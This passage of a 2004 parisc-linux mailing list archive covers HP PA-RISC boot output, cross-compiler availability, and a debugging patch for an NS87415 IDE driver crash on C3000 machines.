<p class=3DMsoPlainText><font size=3D1 color=3Dblack face=3DTahoma><span
style=3D'font-size:9.0pt;color:black'>zalon_scsi_callback: Zalon vers =
field is
0x1, IRQ 35 </span></font></p>

<p class=3DMsoPlainText><font size=3D1 color=3Dblack face=3DTahoma><span
style=3D'font-size:9.0pt;color:black'>ncr53c8xx: 53c720 detected =
</span></font></p>

<p class=3DMsoPlainText><font size=3D1 color=3Dblack face=3DTahoma><span
style=3D'font-size:9.0pt;color:black'>ncr53c720-0: ID 7, Fast-10, Parity
Checking, Differential</span></font></p>

<p class=3DMsoPlainText><font size=3D1 color=3Dblack face=3DTahoma><span
style=3D'font-size:9.0pt;color:black'>&nbsp;</span></font></p>

<p class=3DMsoPlainText><font size=3D1 color=3Dblack face=3DTahoma><span
style=3D'font-size:9.0pt;color:black'>&nbsp;</span></font></p>

<p class=3DMsoPlainText><font size=3D1 color=3Dblack face=3DArial><span
style=3D'font-size:9.0pt;font-family:Arial;color:black'>Thanks in =
advance</span></font></p>

<p class=3DMsoPlainText><font size=3D1 color=3Dblack face=3DArial><span
style=3D'font-size:9.0pt;font-family:Arial;color:black'>&nbsp;</span></fo=
nt></p>

<p class=3DMsoPlainText><font size=3D1 color=3Dblack face=3DTahoma><span
style=3D'font-size:9.0pt;color:black'>&nbsp;</span></font></p>

<p class=3DMsoPlainText><font size=3D1 color=3Dblack face=3DTahoma><span
style=3D'font-size:9.0pt;color:black'>&nbsp;</span></font></p>

<p class=3DMsoPlainText><font size=3D1 color=3Dblack face=3DTahoma><span
style=3D'font-size:9.0pt;color:black'>&nbsp;</span></font></p>

</div>

<p></p><p>---------------------------------------------------------------=
-----------------<br>Aquest missatge electronic pot  contenir informacio =
confidencial o privilegiada.<br>Si voste no es el destinatari del  =
missatge, o l'ha rebut per error, si us plau<br>notifiqui-ho al remitent =
i destrueixi el missatge amb tot el seu contingut.<br>Esta completament  =
prohibida  qualsevol  copia, us o distribucio no autoritzada<br>del =
contingut d'aquest missatge =
electronic.<br>----------------------------------------------------------=
----------------------<br>Este mensaje electronico puede contener =
informacion confidencial o privilegiada.<br>Si usted  no es  el =
destinatario de este mensaje o lo ha recibido por error, por<br>favor =
notifiquelo al remitente y destruya el mensaje con todo su =
contenido.<br>Queda  expresamente  prohibida  cualquier  copia, =
utilizacion o  distribucion no<br>autorizada del contenido de este =
mensaje =
electronico.<br>---------------------------------------------------------=
-----------------------<br>This e-mail may contain confidential and/or =
privileged information.<br>If you  are  not the  intended recipient (or =
have received this e-mail in error)<br>please notify the sender =
immediately and destroy this e-mail.<br>Any  unauthorized  copying,  =
disclosure  or distribution of the material in this<br>e-mail is =
strictly =
forbidden.<br>-----------------------------------------------------------=
---------------------</body>

</html>

------_=_NextPart_001_01C49BFA.E5456288--

--===============0870276340==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0870276340==--



From - Thu Nov 08 21:32:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] i386 cross-compiler for hppa/hppa64 ?
Date: Thu, 16 Sep 2004 16:03:46 +0000
Lines: 29
Approved: news@gmane.org
Message-ID: <4149B962.9010601@tiscali.be>
References: <200409152113.57033.deller@gmx.de>	<20040916143812.GB28936@baldric.uwo.ca>
	<20040916153118.GA7900@ntlworld.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623560 11097 80.91.229.3 (22 Nov 2014 02:32:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stuart Brady <sdbrady@ntlworld.com>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 2312 invoked by uid 65534); 16 Sep 2004 16:02:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx002) with SMTP; 16 Sep 2004 18:02:05 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 68D3D3BE63; Thu, 16 Sep 2004 10:01:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24453-05; Thu, 16 Sep 2004 10:01:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 82AC93BE5A; Thu, 16 Sep 2004 10:01:50 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 142D13BE0E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 10:01:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 24453-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 10:01:44 -0600 (MDT)
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by free.linux.hp.com (Postfix) with ESMTP id BBB243BDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 10:01:43 -0600 (MDT)
Original-Received: from [83.134.224.31] (helo=[83.134.224.31])
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1C7yha-0007aI-F7; Thu, 16 Sep 2004 18:01:42 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.2) Gecko/20040820 Debian/1.7.2-4
X-Accept-Language: en
In-Reply-To: <20040916153118.GA7900@ntlworld.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22000



Stuart Brady wrote:
> On Thu, Sep 16, 2004 at 10:38:12AM -0400, Carlos O'Donell wrote:
> 
>>If you have time...
>>http://www.parisc-linux.org/toolchain/PARISC-Linux-XC-HOWTO.html
>>
>>I recommend Dan Kegel's crosstools and build one using his
>>infrastructure please :) His tools autobuild everything and it will take
>>only time to compile the tree. I haven't done this myself because I
>>don't need an x86->hppa but I might set crosstools to run today on my
>>dual cpu box at the office.
> 
> 
> Debian doesn't have many cross compilers -- is there a reason for this?
> Given the emphasis Debian has on portability, I'm suprised that packages
> for x86->* (at the very least) aren't available...

Good idea but why only x86->* :) , though?

Joel

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] NS87415 on C3K broken
Date: Thu, 16 Sep 2004 10:17:49 -0600
Lines: 124
Approved: news@gmane.org
Message-ID: <20040916161749.GA17660__3222.09134833447$1416623560$gmane$org@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623560 11100 80.91.229.3 (22 Nov 2014 02:32:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:40 +0000 (UTC)
Cc: linux-ide@vger.kernel.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 16833 invoked by uid 65534); 16 Sep 2004 16:18:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx011) with SMTP; 16 Sep 2004 18:18:14 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 966023BE62; Thu, 16 Sep 2004 10:18:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24540-05; Thu, 16 Sep 2004 10:18:07 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 204043BE61; Thu, 16 Sep 2004 10:17:58 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DC4BF3BE28
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 10:17:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 24540-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 10:17:50 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 59B7B3BE0E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 10:17:50 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 78D6E29811B; Thu, 16 Sep 2004 10:17:49 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18867-04; Thu, 16 Sep 2004 10:17:49 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 184F2298111; Thu, 16 Sep 2004 10:17:49 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22001

Hi,
Willy pointed out the 2.6.9-rc2 NS87415 driver for C3000 machine
(uses SuckyIO IDE) is causing HPMC (system crash). This was not
a problem with 2.6.8.1.
But while trying to fix MMIO resource management problems, I ran
into this when testing on C3000.

The HPMC stack trace looks like this:
	ide_inb
	ide_wait_not_busy
	wait_hwif_ready
	probe_hwif
	probe_hwif_init
	ide_setup_pci_device
	ns87415_init_one
	ide_scan_pcidev
	ide_scan_pcibus
	ide_init
	do_initcalls

Changes to ide-probe.c cause this HPMC.
wait_hwif_ready() is inside #ifdef CONFIG_PPC in 2.6.8.1 and the
ifdef/endif was removed in 2.6.9-rcX. The result is inb() is invoked
*BEFORE* ide_setup_pci_device() (indirectly) calls pci_enabled_device() or
pci_set_master(). This is broken because IDE controllers NOT enabled
by firmware will simply not respond to inb() (even if the system
doesn't crash like on parisc).

I'm a wimp. I don't dare to restructure IDE init sequence.
Anyone less of a wimp?
Or are IDE pci drivers required to call pci_enable_device()
in their (mostly non-extistent) init_chipset entry point?


Anyway, ns87415 driver has more problems. The patch below adds
"init_chipset" entry point and init_chipset_ns87415() calls
pci_enable_device() and pci_set_master() before the probe.
And my C3k still HPMCs. My guess is more of the code from
init_hwif_ns87415() needs to be moved to init_chipset_ns87415().
And possible call some special suckyio init routines.
I won't be able to touch this for a few days.
Anyone else on parisc-linux ml want to take a whack at this?

BTW, normally a PCI Master Abort to IO Port space to should NOT fail.
But on parisc is does because the chipset will go "fatal" on
any Master Abort - special hacks enable config space to work.
I strongly prefere not to add those hacks to IO Port space
accessor functions since it's normally not a problem.
And while inconvenient, this behavior does expose programming
problems like the one above.


thanks,
grant


Index: drivers/ide/pci/ns87415.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/ide/pci/ns87415.c,v
retrieving revision 1.17
diff -u -p -r1.17 ns87415.c
--- drivers/ide/pci/ns87415.c	13 Sep 2004 15:23:04 -0000	1.17
+++ drivers/ide/pci/ns87415.c	16 Sep 2004 15:06:06 -0000
@@ -133,8 +133,29 @@ static int ns87415_ide_dma_check (ide_dr
 	return __ide_dma_check(drive);
 }
 
+static unsigned int __devinit init_chipset_ns87415(struct pci_dev *dev, const char *name)
+{
+	unsigned short w;
+printk("init_chipset_ns87415(%s,%s)\n", dev->slot_name, name);
+
+	pci_enable_device(dev);
+	pci_set_master(dev);
+
+(void) pci_read_config_word(dev, PCI_COMMAND, &w);
+printk("	cmd 0x%x\n", w);
+
+	if ((w & PCI_COMMAND_IO) == 0) {
+		w |= PCI_COMMAND_IO;
+		(void) pci_write_config_word(dev, PCI_COMMAND, w);
+printk("	enabling IO space\n");
+	}
+	return 0;
+}
+
+
 static void __init init_iops_ns87415(ide_hwif_t *hwif)
 {
+printk("init_iops_ns87415(%s)\n", hwif->pci_dev->slot_name);
 #ifdef CONFIG_SUPERIO
 	superio_ide_init_iops(hwif);
 #endif
@@ -150,12 +171,14 @@ static void __init init_hwif_ns87415 (id
 	u8 stat;
 #endif
 
+printk("init_hwif_ns87415(%s)\n", hwif->pci_dev->slot_name);
 	hwif->autodma = 0;
 	hwif->selectproc = &ns87415_selectproc;
 
+#if 0
 	/* Set a good latency timer and cache line size value. */
 	(void) pci_write_config_byte(dev, PCI_LATENCY_TIMER, 64);
-	/* FIXME: use pci_set_master() to ensure good latency timer value */
+#endif
 
 	/*
 	 * We cannot probe for IRQ: both ports share common IRQ on INTA.
@@ -227,6 +250,8 @@ static void __init init_hwif_ns87415 (id
 
 static ide_pci_device_t ns87415_chipset __devinitdata = {
 	.name		= "NS87415",
+	.init_chipset	= init_chipset_ns87415,
+	.init_iops	= init_iops_ns87415,
 	.init_hwif	= init_hwif_ns87415,
 	.channels	= 2,
 	.autodma	= AUTODMA,
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dmesg  about hw Modules
Date: Thu, 16 Sep 2004 15:59:55 +0000
Lines: 113
Approved: news@gmane.org
Message-ID: <4149B87B.7020907@tiscali.be>
References: <A944EAC2E4952A4D9203CED00A8F4CC73549E6@SRVTSBC02.itc.ads.t-systems.es>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623561 11101 80.91.229.3 (22 Nov 2014 02:32:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos Pares, Pere" <pere.carlos@t-systems.es>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 13206 invoked by uid 65534); 16 Sep 2004 16:31:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx051) with SMTP; 16 Sep 2004 18:31:41 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id EC3353BE35; Thu, 16 Sep 2004 09:58:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24149-09; Thu, 16 Sep 2004 09:58:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4B2843BE57; Thu, 16 Sep 2004 09:58:07 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AC5A13BE0E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 09:58:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 24149-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 09:57:59 -0600 (MDT)
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by free.linux.hp.com (Postfix) with ESMTP id E2EFC3BDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 09:57:58 -0600 (MDT)
Original-Received: from [83.134.224.31] (helo=[83.134.224.31])
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1C7ydw-0007Cy-Sq; Thu, 16 Sep 2004 17:57:56 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.2) Gecko/20040820 Debian/1.7.2-4
X-Accept-Language: en
In-Reply-To: <A944EAC2E4952A4D9203CED00A8F4CC73549E6@SRVTSBC02.itc.ads.t-systems.es>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22002

Hello Carlos,

Sorry to put this stupid question but which kernel did you try to boot? SMP support or not?

(that looks like to me as a pb I encounter with my c110 and a kernel 2.6.5 iirc; this was a ncr53c8xx bug fixed later, sorry I 
didn't remember exactly when :( ).

hth,
	Joel


Carlos Pares, Pere wrote:
> Hi,
> 
>  
> 
> This is what dmesg show me about some hw on my k360 HP box,
> 
>  
> 
> Have you any idea what's going wrong?
> 
>  
> 
> PS/2 psaux port at 0xffd08100 (irq 69) found, no device attached. 
> 
> lp0: using parport0 (interrupt-driven). 
> 
> Generic RTC Driver v1.07 
> 
> RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize 
> 
> loop: loaded (max 8 devices) 
> 
> Linux Tulip driver version 0.9.15-pre12 (Aug 9, 2002) 
> 
> PCI: Unable to reserve mem region #2:80@2040000 for device 00:01.0 
> 
> PCI: Unable to reserve mem region #2:80@2040000 for device 00:01.0 
> 
> PCI: Unable to reserve I/O region #1:80@40221200 for device 00:02.0 
> 
> PCI: Unable to reserve I/O region #1:80@40221200 for device 00:02.0 
> 
> Found i82596 at 0xffd07000, IRQ 87 
> 
> eth0: 82596 at 0xffd07000, 00 60 B0 C4 A4 F5 IRQ 87. 
> 
> 82596.c $Revision: 1.33 $ 
> 
> Uniform Multi-Platform E-IDE driver Revision: 7.00beta4-2.4 
> 
> ide: Assuming 33MHz system bus speed for PIO modes; override with
> idebus=xx 
> 
> SCSI subsystem driver Revision: 1.00 
> 
> zalon_scsi_callback: Zalon vers field is 0x1, IRQ 35 
> 
> ncr53c8xx: 53c720 detected 
> 
> ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
> 
>  
> 
>  
> 
> Thanks in advance
> 
>  
> 
>  
> 
>  
> 
>  
> 
> 
> 
> --------------------------------------------------------------------------------
> Aquest missatge electronic pot  contenir informacio confidencial o privilegiada.
> Si voste no es el destinatari del  missatge, o l'ha rebut per error, si us plau
> notifiqui-ho al remitent i destrueixi el missatge amb tot el seu contingut.
> Esta completament  prohibida  qualsevol  copia, us o distribucio no autoritzada
> del contingut d'aquest missatge electronic.
> --------------------------------------------------------------------------------
> Este mensaje electronico puede contener informacion confidencial o privilegiada.
> Si usted  no es  el destinatario de este mensaje o lo ha recibido por error, por
> favor notifiquelo al remitente y destruya el mensaje con todo su contenido.
> Queda  expresamente  prohibida  cualquier  copia, utilizacion o  distribucion no
> autorizada del contenido de este mensaje electronico.
> --------------------------------------------------------------------------------
> This e-mail may contain confidential and/or privileged information.
> If you  are  not the  intended recipient (or have received this e-mail in error)
> please notify the sender immediately and destroy this e-mail.
> Any  unauthorized  copying,  disclosure  or distribution of the material in this
> e-mail is strictly forbidden.
> --------------------------------------------------------------------------------
> 
> 
> 
> ------------------------------------------------------------------------
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] i386 cross-compiler for hppa/hppa64 ?
Date: Thu, 16 Sep 2004 16:31:18 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20040916153118.GA7900@ntlworld.com>
References: <200409152113.57033.deller@gmx.de>
	<20040916143812.GB28936@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623561 11104 80.91.229.3 (22 Nov 2014 02:32:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 27828 invoked by uid 65534); 16 Sep 2004 16:31:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx021) with SMTP; 16 Sep 2004 18:31:43 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 635A23BDCE; Thu, 16 Sep 2004 09:31:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23551-09; Thu, 16 Sep 2004 09:31:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 64B3D3BE0E; Thu, 16 Sep 2004 09:31:23 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4177D3BDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 09:31:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 23294-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 09:31:19 -0600 (MDT)
Original-Received: from mta03-svc.ntlworld.com (mta03-svc.ntlworld.com [62.253.162.43])
	by free.linux.hp.com (Postfix) with ESMTP id 75E253BDCE
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 09:31:18 -0600 (MDT)
Original-Received: from janus ([82.9.45.179]) by mta03-svc.ntlworld.com
	(InterMail vM.4.01.03.37 201-229-121-137-20020806) with ESMTP
	id <20040916152942.GFGP20874.mta03-svc.ntlworld.com@janus>
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 16:29:42 +0100
Original-Received: from sdb by janus with local (Exim 3.35 #1 (Debian))
	id 1C7yEB-00023f-00 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 16:31:19 +0100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20040916143812.GB28936@baldric.uwo.ca>
User-Agent: Mutt/1.3.28i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
